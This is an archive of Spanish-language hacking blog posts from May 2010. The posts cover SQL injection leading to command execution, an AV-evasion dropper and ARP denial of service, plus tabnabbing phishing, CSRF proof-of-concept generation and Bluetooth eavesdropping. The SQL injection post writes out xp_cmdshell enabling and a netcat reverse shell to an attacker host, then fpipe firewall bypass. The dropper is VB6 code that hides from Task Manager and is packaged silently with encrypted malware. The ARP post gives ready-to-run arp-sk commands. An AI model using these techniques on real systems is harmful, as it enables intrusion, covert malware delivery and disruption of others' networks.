29/5/2010

[DiosDeLaRed] E-zine #1

Bueno... Diosdelared.com es un foro donde hacen muy buenos aportes, es así como hicieron una recopilación de los mejores y sacaron una E-zine bastante buena que la recomiendo al 100%.

Qué trae? la portada lo dice todo:


Descarga E-Zine #1 DiosDeLaRed

Fuente: http://benox.diosdelared.com/

[+] Salu2

[Fpipe] El cuerpo de una intrusión - Tutorial: falseando tráfico entre hosts

Hoy les voy a hablar de una herramienta indispensable en todo toolkit de cualquier intruso, su comprensión marca diferencia no solo en el éxito de toda intrusión sino también en muchas soluciones de la vida laboral.

Imaginemos el siguiente entorno, poseemos acceso a un host el cual fue vulnerado con anterioridad… El siguiente ejemplo es un ejemplo real, que puede ser aplicable a cantidad de sitios. Digamos que se trata de un método un tanto “genérico” el cual sirve para entender el cuerpo de una intrusión. Este es un paper explicativo, mas no un manual de intrusión, por tal motivo explicaré el cuerpo de la intrusión pero la confidencialidad de los datos será guardada, al final de cuentas lo importante es poner en relieve las distintas técnicas usadas para vulnerar un sistema de información por completo.

Bien, no es necesario explicar SQL injection pues es una vulnerabilidad muy trillada pero bastante incurrida hoy en día, así que partiremos de un host el cual posee esta vulnerabilidad: SQL injection.

El payload de esta intrusión entonces es SQL injection, lo primero que se nos viene a la cabeza es brincar las validaciones a nivel servicio web, pero si se es un poco mas malicioso fácilmente se puede encontrar la manera de ejecutar código remoto en el equipo probando distintas sentencias y analizando los errores: para este ejemplo completaremos la sentencia en un textbox de la siguiente manera:
“lo_que_sea ‘; select * from –” nos envía un error de ole DB:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e4d’

(Cantidad de páginas poseen este error, por ello la importancia de tratar este tema), Esto significa que podemos ejecutar código SQL, con el usuario por default, indagando un poco mas, mediante enumeración del host podemos percatarnos que el usuario dueño de la base de datos es “webmail”.
Microsoft OLE DB Provider for ODBC Drivers error ’80040e4d’
[Microsoft][ODBC SQL Server Driver][SQL Server]Login failed for user ‘webadmin’.
/portal/includes/conexion.asp, line 6

A estas alturas sabemos que se trata de SQL server, basta leer las cabeceras del html e interpretar las rutas del index… cuando se intenta ejecutar código en el servidor remoto mediante sentencias de tipo “EXEC master.dbo.xp_cmdsh ell ‘cmd.exe dir c:’” se obtienen errores de privilegios de este tipo o parecidos:
[Microsoft][ODBC SQL Server Driver][SQL Server]Failed privileges. error not found.

Bien, la mayor parte de los administradores normales poseen la cultura de cuidar que el dueño de la base de datos no posea privilegios para ejecutar comandos en la consola de windows, pero no todos poseen la cultura para evitar que este usuario pueda autoescalarse, por lo tanto podríamos tratar ejecutando los siguientes procedimientos almacenados directamente en la textbx afectada:
lo_que_sea ‘;EXEC sp_configure ‘show advanced options’,1 –
lo_que_sea ‘;RECONFIGURE –

lo_que_sea ‘;EXEC sp_configure ‘xp_cmdshell’,1 –
lo_que_sea ‘;RECONFIGURE –

Esto no arrojara errores a nivel front-end pues son instrucciones que se ejecutan en back-end, posteriormente, podríamos verificar mandarnos un ping a nuestro servidor y verificar con un sniffer que este ping en realidad este llegando a nuestro equipo:
lo_que_sea ‘;EXEC master.dbo.xp_cmdsh ell ‘cmd.exe ping xxx.xxx.xxx.xxx’ –

Si se encuentra que el sniffer escuchando en el host intruso esta recibiendo paquetes de tipo ICMP provenientes del equipo vulnerado, habremos logrado el primer éxito, en realidad nos encontramos ejecutando código remoto. En este punto es en donde ahora entra el redireccionamiento de tráfico.

Si podemos ejecutar código remoto, en el host B podríamos sin ningún problema realizar un script que baje de un servidor FTP nuestro famoso y útil netcat, para voltear la shell y obtener completo control del servidor, esto mediante sentencias únicas, o vernos mas hábiles usando WSH:
declare @o int
exec sp_oacreate ‘wscript.shell’, @o out
exec sp_oamethod @o, ‘run’, NULL, ‘ftp get———————-’
etc…
etc…
etc…

La manera en la cual se transfieren las herramientas para tomar control del host vulnerado ya es lo de menos y cuestión personal de cada intruso pues puede realizarse mediante un simple tftp o escondiendo las entradas bajando primero con ftp wget y operando en background la transferencia de archivos y de esa manera no dejar huella, en el mejor de los casos se colocaría netcat en el host vulnerado y bastaría ejecutar un netcat inverso de la siguiente manera:
host atacante:  nc -vv -l -p 75
nc -vv -l -p 76
host victima:    nc <ip_host_atacante> 75 | cmd.exe | nc <ip_host_atacante> 76

De esta manera se conseguiría una shell del sistema vulnerado transmitiendo por 2 canales y brincando un firewall débilmente configurado. Este es el mejor de los casos y casi nunca es así, todo sysadmin y administrador de seguridad actualmente contrata empresas terceras (Afina, ligtech, Netrix, Scitum etc.) las cuales administran y configuran complejos firewalls a nivel de iptables o a nivel ID’s o IP’s, si nosotros intentaremos realizar una conexión inversa de esta manera en un ambiente real y productivo, generalmente no cerraría el circuito, debido a que solo permite acceso, a puertos claves y el tráfico que circula por él. Para esto basta realizar un nmap a cantidad de sitios que tan solo muestran tener en escucha 2 o 3 puertos, (por lo general 80,443,53,135), esto fortalece en gran medida la seguridad de los sistemas, pues a pesar que se tiene comprometido un servidor resulta a simple vista imposible manipularlo a nuestro entero gusto.

Otro punto importante a considerar es que el host que tiene el rol de front-end, es decir el web server que nosotros podemos ver y el cual ahora se encuentra vulnerado, no posee la información sensible ni importante, pero fácilmente podemos ver en que host se encuentra mirando y analizando las peticiones redirigidas por medio del manejador de bases de datos… recordemos que a eso si tenemos acceso, pues esa es la victoria de inyectar código SQL arbitrario.

Si no es posible realizar una conexión directa con el web server debido a un firewall o a un IDS, mucho menos podremos conectar a este tercer host que esta aún mas atrás del firewall. Aquí es en donde se debe poseer el mayor ingenio y background, un sysadmin se siente protegido por detrás de su cortafuegos, por lo tanto ese servidor debe poseer mas de un servicio de conexión remota. Ahora solo falta descubrir de cual se trata, para ello se necesita redireccionar el trafico, de tal manera que el servidor que logra ver al otro que nosotros no vemos pero sabemos que existe envié trafico hacia nosotros por un puerto permitido por el firewall y cierre el circuito permitiéndonos conectar al servidor de en-medio (webserver) y que este nos redireccione al servidor que deseamos mirar (DBserver).

Para esto existe la herramienta llamada fpipe (para Windows) desarrollada por foundstone,se trata de un emisor-receptor de puerto origen TCP, con fpipe podemos realizar una secuencia TCP con un determinado puerto origen, un puerto servidor a la escucha, y un puerto destino remoto, que es precisamente aquel al que estamos tratando de acceder detrás del firewall. Cuando fpipe se ejecute mantendrá un puerto a la escucha en espera de conexión, cuando esta llegue, conectará con la maquina en el puerto destino especificando el puerto local especificado, cerrando así el circuito y falseando el tráfico del host intermedio al host final.

Puede ser bajado desde aquí: http://www.foundstone.com/us/resources/proddesc/fpipe.htm

He aquí su sintaxis:
C:\descargas\fpipe2_1>FPipe.exe –h
FPipe v2.1 – TCP/UDP port redirector.
Copyright 2000 (c) by Foundstone, Inc.
http://www.foundstone.com

FPipe [-hvu?] [-lrs <port>] [-i IP] IP

-?/-h – shows this help text
-c    – maximum allowed simultaneous TCP connections. Default is 32
-i    – listening interface IP address
-l    – listening port number
-r    – remote port number
-s    – outbound source port number
-u    – UDP mode
-v    – verbose mode

Example:
fpipe -l 53 -s 53 -r 80 192.168.1.101

This would set the program to listen for connections on port 53 and
when a local connection is detected a further connection will be
made to port 80 of the remote machine at 192.168.1.101 with the
source port for that outbound connection being set to 53 also.
Data sent to and from the connected machines will be passed through.

C:\descargas\fpipe2_1>

Una prueba sencilla con la cual se puede probar la funcionalidad de esta útil herramienta es redireccionando todo el tráfico de entrada en el puerto 443 con una ip fuente a nuestro equipo al puerto 34567 usando la siguiente sintaxis:
fpipe -v -l 34567 -s 443 -i 192.168.1.39 -r 443 xxx.xxx.xxx
Donde:  
xxx.xxx.xxx.xxx = a la ip del host origen
192.168.1.39= la ip del target
443=el puerto origen (el pto de donde proviene todo el tráfico que se quiere redireccionar).
34567= el puerto salida, siendo el resultado de la redirección del tráfico entrante.

Ahora el equipo se encuentra escuchando todo el tráfico que proviene de esa ip origen si nosotros verificamos nuestros puertos en escucha podremos corroborar que en efecto el puerto 34567 se encuentra listening. (netstat -an).

Ahora si en nuestro navegador colocamos nuestra ip especificando el puerto 34567 de la siguiente manera:
https://192.168.1.39:34567

Podremos observar que todo el tráfico que entra de nuestro navegador por el puerto 443 se ve reflejado en nuestra ip por el puerto 34567, Fpipe se encuentra redireccionando todo lo que proviene en particular de la ip origen por el puerto 443, hacia nuestro equipo redireccionandolo hacia el puerto 34567.

Evidentemente de nada nos sirve redireccionar tráfico web, para nuestro caso, que pasa si ejecutaramos fpipe escuchando en un puerto donde que el firewall permite la salida de la siguiente manera:
Fpipe.exe -v -l  135 -s 22 -i xxx.xxx.xxx.xxx –r 22 yyy.yyy.yyy.yyy
Donde:
xxx.xxx.xxx.xxx= a la ip del equipo vulnerado mediante sql injection.
yyy.yyy.yyy.yyy= a la ip del equipo target real.
r 22= al puerto que tratamos de conectar por detrás del firewall.
s 22= el puerto exacto origen.
l 135= el puerto permitido por el firewall.

Ahora el tráfico que corresponde al servicio de ssh va enmascarado al puerto 135 que es publicado mediante web (pto 80), ahora alcanzable desde nuestro propio equipo tercero, el cual es el atacante. Obviamente este comando debe ser ejecutado mediante la inyección de código SQL pues el objetivo es conseguir una shell brincando el firewall mediante la redirección de tráfico.

Aún en este punto faltaria romper el password de SSH, lo cual es muy dificil de conseguir, pero si ya se tiene conexión desde un tercer equipo por detrás del cortafuegos, se pueden verificar mas opciones para evitar vulnerar ssh, que pasaria si se enmascara el trafico por el puerto 6000 (pto no asignado en servicios windows standares), como trafico DNS 53 al equipo señuelo, para despues voltear la shell desde nuestro equipo mediante SQL injection?, estariamos brincando el firewall y a la vez realizando un socket que evidentemente nos arrojaria una shell con privilegios del usuario que ejecute en ese momento el explorer.exe o el dueño del home actual en caso de un equipo Unix.

Las posibilidades son infinitas, este paper no trata de ser un manual, es un paper que brinda conocimiento acerca de las distintas técnicas reales de intrusión. Por ello la falta de pantallas que evidencien la efectividad de estas técnicas, las cuales no son ficticias basta entrar a cualquier canal IRC donde abunden intrusos para darse cuenta la tendencia de las mismas. Para nuestra fortuna empresas como Netrix, Afina, Ligtech, Scitum que son las que mas presencia tienen en el mercado de la seguridad, poseen “consultores” o “especialistas” nada experimentados en el ámbito real del analisis y ejecución de vulnerabilidades, por lo general son cualquier profesionista con conocimientos vagos en informática que ejecutan plantillas de ACL’s y configuración estandarizada en cualquier ámbito, basta obtener plantillas básicas de iptables en www.sunsolve.com para darse cuenta cual es dicha estandarización y ahorrarnos tiempo y esfuerzo tratando de adivinar que es mejor.. si brincar el cortafuegos o vulnerar la página web de nuestro objetivo.

Un punto mas a nuestro favor si es que estos “especialistas de la seguridad certificados” no esconden target principales de Bases de Datos, engorrecen ACL’s para evitar ver Bases de Datos, ocultan información de los gestores pero no esconden las Ip’s de los sistemas de storage, por lo tanto una vez vulnerado un equipo de la recepción de la empresa, podemos alcanzar la ip de un Clariion o de un celerra (sistemas de storage de emc) las cuales almacenan a nivel disco esa información, basta conocer un poco de storage para vaciar información valiosa sin siquiera tocar los manejadores de bases da datos. Pero bueno, en otra ocasión escribiré algo acerca de como encontrar targets de emc facilmente vulnerables.

Espero haberme explicado. Saludos !!!.

28/5/2010

Saltar las firmas Antivirus: Método D.A.F (Dependencias Anti-Firmas)

Bueno acá les traigo un manual que les explicara paso a paso como saltar las firmas que ponen ciertas compañías Antivirus en las dependencias de los ejecutables, el manual esta reescrito por mi y la fuente es de Indetectables.net en fin... espero que me entiendan y les sirva... saludos.

Vamos hacer un ejecutable portable con la ayuda de Iexpress y un par de aplicaciones nuestras que serán el malware a introducir y un pequeño programa de fácil creación desde cualquier lenguaje de programación, en este caso lo haremos con VB6 que también ha sido testeado con Windows 7.

lo primero que hacemos es crear ese EXE que hará todo nuestro trabajo, abriremos VB y seleccionamos “EXE estandar”.

Haremos doble clic sobre el formulario para que aparezca de tal manera que podamos introducir nuestro código.
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer
As String, ByVal nSize As Long) As Long
Private Sub Form_Initialize()
   Dim FFile As Long
   Dim sysDir As String
   Dim sLen As Long
   Dim Resource() As Byte
   sysDir = Space(260)
   sLen = GetSystemDirectory(sysDir, 260)
   sysDir = Left$(sysDir, sLen)
   On Error Resume Next
   Resource = LoadResData(101, "CUSTOM")
   FFile = FreeFile
   Open sysDir & "\aaaaaaaa.sys" For Binary Shared As #FFile
   Put #FFile, 1, Resource
   Close #FFile
End Sub
Private Sub form_load()
'Se esconde la aplicación
Me.Hide
'Desaparece del Taskmannager
App.TaskVisible = False
'Si ya esta en ejecución salimos, para no tener 2 corriendo a la vez
If App.PrevInstance = True Then: End
End
End Sub

Hacemos Click sobre el menú de complementos y se nos abrirá un desplegable para dirigirnos al “Administrador de complementos”.

Una nueva ventana se abrirá para seleccionar “VB 6 Resource Editor”, tildaremos la pestaña de Cargado y finalmente click en Aceptar.

Si miramos en la parte de arriba de nuestro VB6, veremos una mano blanca sobre lo más parecido a un cubo rubik, hacemos click en él.

Aparecerá la ventana donde podremos agregar de recurso nuestra dependencia al hacer click en el icono marcado en rojo.

En este caso haremos la prueba con la DLL de ejecución más importante que utiliza VB6, modificada anteriormente para que no ocupe tanto en nuestro Malware al final.

Al darle click y sobre Abrir aparecerá el siguiente recuadro en el que veremos a nuestra Dependencias.

Haremos click sobre en el dichoso icono guardado representando un disquete y elegiremos una ruta para guardar nuestro archivo “.RES”.

Una vez guardado automáticamente se añadirá a nuestro proyecto.

Hecha la parte más difícil tan solo nos quedará elegir el nombre con el que queremos que se copie nuestra DLL en sistema, iremos a la parte de código y donde aparece con el nombre elegido por mi para las pruebas de “aaaaaaaa.sys” modificaremos introduciendo el que queremos pero teniendo en cuenta que no podremos superar los caracteres de la dependencia real que después modificaremos desde un editor Hexadecimal.
Open sysDir & "\4n0nym.0us" For Binary Shared As #FFile
 Put #FFile, 1, Resource
 Close #FFile

Como se ve en la imagen modificado:

Ya terminamos nos quedará presionar en “Archivo > Generar Proyecto1.exe

Seleccionaremos la ruta y nombre donde guardar nuestro ejecutable y acabaremos con el Visual Basic

Nos dirigimos a nuestro malware, en este caso elegiremos un simple Notepad encriptado con un encriptador llamado Billar Crypter v2.0 Abrimos nuestro editor hexadecimal “Hex Workshops” e introducimos nuestro ejecutable encriptado y buscamos la dependencia a modificar.

Iremos a la herramienta de reemplazo en la que al encontrarnos con diferente número de caracteres tendremos que rellenar al “4n0nym.0us” (nuevo nombre de dependencia) con ceros a la derecha para que los ignore el código y todo funcione.

Al presionar sobre Aceptar saltará la siguiente ventana con la que modificaremos todas a la vez.

Con esto acabaremos de cargarnos el ejecutable si no le incorporamos nuestra dependencia de VB.

Si al ejecutar nuestro EXE sale este error todo funciona bien por ahora.

Iremos a “Inicio > Ejecutar > Iexpress” y empezaremos a juntar nuestros dos ejecutables para finalizar con el salteo de firmas en dependencias.

Sigan las instrucciones aunque el uso de esta herramienta es de lo más simple que hicieron nuestros amigos de Mocosoft.XD

Elegimos un nombre para el título de nuestro paquete de aplicaciones.

Seleccionamos la opción de “No prompt” y presionamos “Siguiente”.

Elegimos esta opción que aparece más abajo para que no muestre el display de licencia.

Presionando en el botón “Add”, buscaremos nuestros dos archivos.

En este paso seleccionamos el orden de ejecución de dichas aplicaciones, en primer lugar la “Dependencia.exe” para evitar el posible error de no encontrar la nueva “4n0nym.0us” y en el comando seleccionaremos nuestro ejecutable modificado.

Dependiendo del malware que se va a utilizar, configuren esta opción como prefieran si desean hacerlo todo de forma oculta o en mi caso queremos ver que el Notepad se ejecuta.

Seleccionamos esta opción para que no muestre ningún mensaje al finalizar las descompresiones.

Ocultamos las animaciones de extracción para que el usuario no vea nada extraño en la ejecución del archivo.

Seleccionamos la opción de no reiniciar la máquina para evitar sospechas.

En este caso elijan la que ustedes decidan pero a mi no me apetece guardar la directiva.

Presionamos siguiente y seguidamente aparecerá la ruta donde deseamos guardar nuestro ejecutable final.

Y finalizando presionamos en el botón marcado en rojo para acabar con todo el proceso.

Solo nos queda hacer la prueba y observar si ciertamente funciona, para eso vamos a la carpeta donde guardado nuestro ejecutable y por curiosidad abramos la ruta de “%Windir%/system32” para observar como automáticamente se agrega la dependencia al sistema y después se ejecuta nuestro “malware” en este caso un Notepad con lado oscuro XD.

Ejemplo sobre WXP SP2 32bits:

Ejemplo sobre W7 Ultimate 64bits:

Espero que les ayude en algo XD les mando saludos.

Descargar Método D.A.F. en PDF

Autor: 4nonym0u
Fuente: http://reactos.diosdelared.com/

26/5/2010

[Arp DoS] Cómo tirar abajo una red LAN / Wifi casera en pocos segundos

En la actualidad, la mayoría de conexiones a Internet para al hogar y pequeña oficina que los distintos ISP ofrecen a sus clientes, se basan en aparatos que aunque denominados routers, son la suma de un enrutador, un switch (Conmutador) y un punto de acceso Wireless, todo en uno. Esto facilita que con un solo dispositivo se pueda ofrecer de forma simple y económica un acceso a Internet y red a más de un usuario por linea contratada. Los proveedor de servicios de Internet ofrecen este tipo de dispositivos con una configuración predeterminada insegura, esto se debe a que la mayoría de usuarios de Internet son inexpertos y los dispositivos no pueden implementar medidas que dificulten al cliente la configuración y acceso a la red, motivo por el cual la mayoría de redes y conexiones a Internet que encontramos en hogares y pequeñas oficinas son consideradas como poco seguras.

Lo que venimos a demostrar en este post es lo simple que resulta producir una denegación de servicio en este tipo de dispositivos de red utilizando únicamente la capa de enlace. No explicaremos el protocolo ARP en detalle, se da por supuesto que el lector tiene un conocimiento básico sobre este protocolo y su funcionamiento. Para generar un DoS que impida a los clientes de una determinada red acceder al router, usaremos algo tan viejo y conocido como es el envenenamiento ARP, nosotros proponemos la siguiente estrategia, pero no es la única que podemos utilizar, hay otras formas de realizar denegaciones de servicio utilizando en la capa de enlace.
  • Inundar la red con respuestas falsas que contesten a solicitudes ARP que pregunten por la MAC del gateway.
  • Envenenar la tabla ARP del router para que asocie la MAC del gateway a la boca del router donde estemos conectados.
La capa de enlace obliga a que cualquier cliente que quisiera salir a Internet debe tener guardada la dirección física del router en su tabla ARP, para obtener esa dirección se inunda la red enviando paquetes "ARP request" a la dirección de broadcast (FF:FF:FF:FF:FF:FF) preguntando por la MAC del enrutador. Por lo tanto, si inundamos de respuestas falsas la red, indicando que la dirección física vinculada a la ip del router 192.168.1.1 es "AA:BB:CC:AA:BB:CC", el cliente que quiera salir a Internet recibirá antes la respuesta falsa que la correcta devuelta por el enrutador, quedando su tabla ARP envenenada y en consecuencia sin acceso a Internet.

La propiedad de conmutador de los routers actuales les obliga a guardar una tabla con las direcciones MAC que tiene cada equipo y a que boca está conectado. Para fortalecer un poco más el ataque y hacerlo más eficiente, recomendamos realizar un envenenamiento ARP simultaneo que indique que la MAC real del router está vinculada a la boca desde la que se está lanzando el ataque. De esta forma envenenamos la tabla ARP del enrutador y si algún cliente consiguiera obtener la dirección MAC real del router, tampoco sería capaz de salir a Internet.

Hay muchos tipos de routers en el mercado y no todos reaccionan de la misma manera antes las denegaciones de servicio, pero la inmensa mayoría de dispositivos no profesionales ceden ante este tipo de ataques en la capa de enlace, tanto si se realiza desde una conexión cableada como desde una inalámbrica, algunos dispositivos incluso se cuelgan al recibir este tipo de denegación de servicio. La herramienta que nos permite realizar este ataque de una forma simple y con un solo comando es Arp-sk, considerada la "navaja suiza" del protocolo ARP.

Sintaxis utilizada para este ataque DoS:
# arp-sk -T u0  -r -i TARJETA -S IP_ROUTER:MAC_INVENTADA -s MAC_DEL ROUTER

Escenario de ejemplo:
  • Router: 192.168.1.1 / 00:01:38:68:D4:D8
  • Cliente: 192.168.1.33 / 00:0E:2E:C5:7B:70
  • Atacante: 192.168.1.33 / 00:18:39:BB:F0:3A

Comando del atacante en relación al escenario planteado:
# arp-sk -T u1  -r -i eth0 -S 192.168.1.1:AA:BB:CC:AA:BB:CC -s 00:01:38:68:D4:D8

Opciones de Arp-sk en uso:

-T u1 -> Envía paquetes dejando un periodo de tiempo de 1 microsegundo entre paquete y paquete.
-r -> Manda respuestas ARP (ARP Reply) que configuramos con la opción -S.
-i eth0 -> Permite especificar la interfaz con la que trabajaremos, puede realizarse con tarjetas wifi.
-S 192.168.1.1:AA:BB:CC:AA:BB:CC -> Dirección IP y MAC falseada de nuestras respuestas (ARP Reply).
-s 00:01:38:68:D4:D8 -> Dirección MAC origen, nos ayuda a que se asocie la MAC del router a la boca donde tenemos conectado nuestro cable.

La opción "-s" obliga a que todos los paquetes salientes de "Arp-sk" utilicen como origen la MAC indicada, pero si el atacante visita una determinada web o alguna aplicación conecta a Internet durante la prueba de concepto, la tarjeta usará la dirección física real, por lo que en algunas ocasiones puede ser recomendable cambiar temporalmente la MAC de nuestra interfaz a nivel global, para ello podemos usar la herramienta "ifconfig".

Cambiar la dirección física de nuestra tarjeta de red.
# ifconfig eth0 down
# ifconfig eth0 hw ether 00:01:38:68:D4:D8
# ifconfig eth0 up

Orientando la denegación de servicio hacia un host específico.

Con este comando inundamos la red de respuestas ARP que vinculan la la IP de la victima con una dirección física falsa, a la vez que engañamos a la tabla ARP del router para que vincule la dirección MAC de la victima a nuestra boca del router.
# arp-sk -T u0 -r -i TARJETA -S IP_VICTIMA:MAC_INVENTADA -s MAC_VICTIMA

Otra opción que produce menos tráfico sería la siguiente, con este comando enviamos respuestas ARP que envenenan la tabla de la victima vinculando la IP del router a una dirección MAC inexistente. La opción "-d" nos permite especificar el destino de nuestro ataque y de esta forma evitar el broadcast.
# arp-sk -T u0 -r -i TARJETA -S IP_ROUTER:MAC_INVENTADA -d MAC_VICTIMA

Consultar y borrar la tabla ARP desde GNU/Linux

Consultar entradas ARP de la tabla
# arp -a

Borrar entrada de la tabla ARP
# arp -d 192.168.1.1

¿Cómo evitar / detectar este tipo de ataques ARP DoS?

Fabricantes:
  • Implementación de sistemas como DHCP snooping.
  • Facilitar mecanismos de seguridad que solo permitan utilizar la primera MAC conectada al router/switch.
  • Comprobar que la MAC origen y la anunciada en un paquete ARP Reply son las mismas.
  • Impedir que la funcionalidad de switch permita falsear la MAC de la puerta de enlace.
Usuario:
  • Usar Tablas ARP estáticas.
  • Uso de aplicaciones tipo Arpwatch y Arpalert.
  • Comprobar indicios de ARP Spoofing mediante RARP (ARP inverso), si ante una consulta, RARP devuelve más de una dirección IP, significa que esa dirección MAC ha sido clonada.
Conceptos:
ARP Who-has = ARP Request.
Router = Gateway = Puerta de enlace predeterminada = Enrutador.
Switch = Conmutador.
Dirección física = Dirección MAC = Dirección de capa 2.

Autor: aprendiz2
Fuente: http://foro.latinohack.com/

[Tabnabbing] Phishing a través de las pestañas del navegador

Aza Raskin ha desvelado un nuevo método de modificación de páginas en pestañas del navegador (afecta a casi todos) que puede ser utilizado para realizar ataques de phishing un poco más sofisticados. Está basado en una técnica que permite modificar el aspecto de una página cuando no tiene el "foco" de la pestaña del navegador. El ataque es ingenioso, aunque tiene sus limitaciones.
 
Cómo funciona
Un usuario navega hacia la página del atacante, que no tiene por qué simular ningún banco o página de login. Simplemente es una página más equipada con un código JavaScript que hará el "truco". La víctima cambia de pestaña (o de programa, lo importante es que pierda el foco) y sigue con sus visitas cotidianas a otras páginas. Mientras, la web del atacante cambia por completo gracias al JavaScript: el favicon, el título, el cuerpo... todo excepto el dominio, lógicamente. La página ahora podría parecerse a (por ejemplo) la web de login de Gmail. La víctima, vuelve a la pestaña más tarde y piensa que ha caducado su sesión. Introduce su contraseña y ésta viaja hacia el atacante. 

Se supone que el usuario bajará la guardia puesto que, hasta ahora, se supone que una pestaña no "muta" a nuestras espaldas y por tanto, si aparece como "Gmail", por ejemplo, es que lo hemos visitado previamente. Los usuarios que mantengan habitualmente muchas pestañas abiertas, saben que es fácil olvidar qué se está visitando exactamente en cada momento. 

Mejoras al ataque
Según el propio descubridor, se podría investigar en el historial de CSS del navegador para averiguar qué páginas visita el usuario y mostrarse como una de ellas dinámicamente, para hacer más efectivo el ataque. Existen otros métodos para incluso averiguar en qué sitios está realmente autenticado el usuario, con lo que la técnica resultaría más efectiva. 

Si el atacante consigue incrustar JavaScript en la web real que se quiere falsificar (por ejemplo a través de publicidad contratada a terceros) entonces la página cambiaría sobre el dominio real... y entonces sí supondría un ataque "casi perfecto". 

En directo
El descubridor, en su entrada ha colgado una prueba de concepto. Si se visita esa web, se pasa a otra pestaña durante 5 segundos (tiempo arbitrario impuesto por el descubridor), y se vuelve, mostrará una imagen de Gmail que toma de imagen.png superpuesta sobre la página. Cambiará el favicon y el título. Obviamente, el ataque en este ejemplo está específicamente diseñado para que sea "visible". 

Qué aporta el ataque
Supone un método ingenioso y nuevo de intentar suplantar una página. Funciona en Firefox, Opera y (de forma un poco irregular) en Internet Explorer 8. Parece que Chrome no es vulnerable, aunque es posible que aparezcan métodos para que sí lo sea. 

Limitaciones
El ataque sigue confiando en que el usuario no tenga en cuenta la URL, por tanto, cuando la víctima vuelve a la pestaña, estaría ante un caso de phishing "tradicional" sino fuera porque la pestaña cambió "a sus espaldas". Realmente pensamos que no será un ataque puesto en práctica de forma masiva por los atacantes, aunque obviamente puede ser utilizado selectivamente. La razón es que el phishing tradicional, burdo y sin trucos, sigue funcionando y reportando importantes beneficios a quienes lo ponen en práctica sin mayores complicaciones técnicas. Y ambos se basan en que el usuario medio no aprovecha los beneficios de los certificados ni se fija en las URLs donde introduce las contraseñas. 

Un ataque "parecido" basado en la superposición de páginas en una web conocida, fue descrito por Hispasec en mayo de 2005. En esa ocasión se escribió "Nueva generación de phishing rompe todos los esquemas" porque en estos casos, la URL del sitio falso (y el certificado) coincidía con la real, esto es: realmente se estaba visitando la web real, y la falsificada se "ponía" encima. Obviamente, este ataque necesitaba de una vulnerabilidad de Cross Site Scripting en la web original. Por desgracia el XSS es el tipo de error más común en estos días, tanto en bancos como en otras páginas importantes que trabajan con credenciales. A pesar de lo efectivo del ataque, no se observaron ataques masivos basados en esa técnica. 

Mitigación
Para no sufrir el "tabnabbing", es necesario fijarse en las URLs antes de introducir contraseñas, como siempre. Desactivar JavaScript para las páginas en las que no se confíe, ya sea a través de la Zonas para Internet Explorer o No-Script para Firefox.

Explotación

Código Creado por Jordan Diaz(aka Jbyte):
Click en la imagen para agrandarla

También lo puedes descargar de aquí: http://www.mediafire.com/?4wjmdixntwy

Bueno para probar el código simplemente lo copian en un blog de notas y lo guardan como un archivo html y listo.

Si quieren ver como funciona pueden ver el video hecho por el descubridor de esta técnica aquí:



A New Type of Phishing Attack.


Visto en: http://jbyte-security.blogspot.com/
Fuente: http://www.hispasec.com/

24/5/2010

[CSRFTester 1.0] Creando PoC CSRF

Todos o casi todos conoceréis el proyecto OWASP dada su relevancia hoy en día y por el gran trabajo que están realizando todos los participantes de este proyecto. Dentro de la multitud de proyectos, existe uno con nombre "OWASP CSRFTester Project". Este proyecto tiene como objetivo ofrecer una herramienta a los desarrolladores para testear sus aplicaciones frente a vulnerabilidades del tipo CSRF (Cross-Site Request Forgery).

Entre la gran variedad de documentación sobre CSRF podéis consultar la guía de OWASP en la prueba OWASP-SM-005 para entender bien la técnica (está muy bien explicado :D, por lo que no entraremos en esta entrada). Una vez leído y entendido pasamos a crear una prueba de concepto.

Para variar (jijijiji), usaremos la aplicación DVWA para atacarla; ya habéis visto que es una de mis favoritas:


Como vemos en la aplicación existe un ejemplo para probar un ataque de CSRF. Así que vamos a crear una prueba de concepto con CSRFTester para aprovecharla.


En la imagen anterior se ve como la funcionalidad bajo el menú CSRF permite cambiar la contraseña introduciéndo dos veces la nueva contraseña. Una vez vista la funcionalidad de la aplicación que queremos que ejecute la víctima sin darse cuenta, arrancamos CSRFTester para construir la prueba de concepto. La herramienta se pondrá a escuchar en el puerto 8008 por defecto:


Ahora configuramos el proxy del navegador a la ip donde hemos levantado CSRFTester y el puerto 8008 (en este caso localhost:8008). Una vez hecho esto arrancamos la herramienta con el botón "Start Recording"; rellenamos los campos del formulario de la funcionalidad y presionamos el botón de "Change", con lo que registraremos un petición en CSRFTester:


Acto seguido presionamos el botón "Generate HTML", seleccionando por ejemplo "Report type > Form", obteniendo el siguiente resultado en formato html:



Si una víctima visita este ejemplo de página web y está a su vez autenticado en la aplicación se cambiará la contraseña sin su consentimiento y de manera automática. Como véis el objetivo del post es que podáis hacer de la manera más rapida posible pruebas de concepto sobre CSRF.

Como siempre espero que os sea de utilidad, tanto a desarrolladores como pentesters.

[Video] Escuchar conversaciones realizadas por Bluetooth

Bueno, en este video se "hackea" una conversación realizada con "manos libres" por bluetooth. Está en inglés, pero se entiende muy bien y además tiene subtítulos (en inglés XD, pero se pueden traducir con la nueva función de Youtube) para los que no escucharon bien los comandos,etc...:



Cabe destacar que no todos los dispositivos Bluetooth son vulnerables. Otro contra es que el Bluetooth tiene un alcance de 20 metros, por lo cual, es bastante complicado andar con un PC sin levantar sospechas, de ser así mejor acércate y escucha la conversación a la antigua XD.

Fuente: http://www.tinkernut.com/

23/5/2010

[Wireshark] Portable

Wireshark es una de esas herramientas que no pueden faltar a la hora de realizar un test de penetración, ya que mayoría de veces por las redes que se analizan pasan una gran cantidad de datos sin cifrar que ponen en riesgo la seguridad de la organización.
wireshark Wireshark Portable

El problema es que para utilizar Wireshark, es necesario instalar las librerías Wincap, lo cual necesariamente deja un rastro en el equipo utilizado, algo nada recomendable y algunas veces prohibido en este tipo de auditorias.

Existe una version portable de Wireshark, pero lo que hace es instalar las librerias Wincap y luego cuando se cierra, las desinstala, lo que claramente deja rastros en el equipo utilizado; Afortunadamente Adrián Puente, Ingeniero en Seguridad de sm4rt security services realizo una version de Wireshark realmente portable, la cual no necesita instalar las librerias Wincap, se ejecuta sin problemas desde una memoria USB y deja la menor cantidad de rastro posible en la maquina.

Aunque cuenta con una versión un poco viejita de Wireshack, se puede modificar sin problemas para que corra con versiones mas actuales, solo reemplazando los ejecutables de la aplicación.

Descargar Wireshark Portable para Windows


Fuente: http://www.dragonjar.org/

Como forzar busquedas seguras en Google

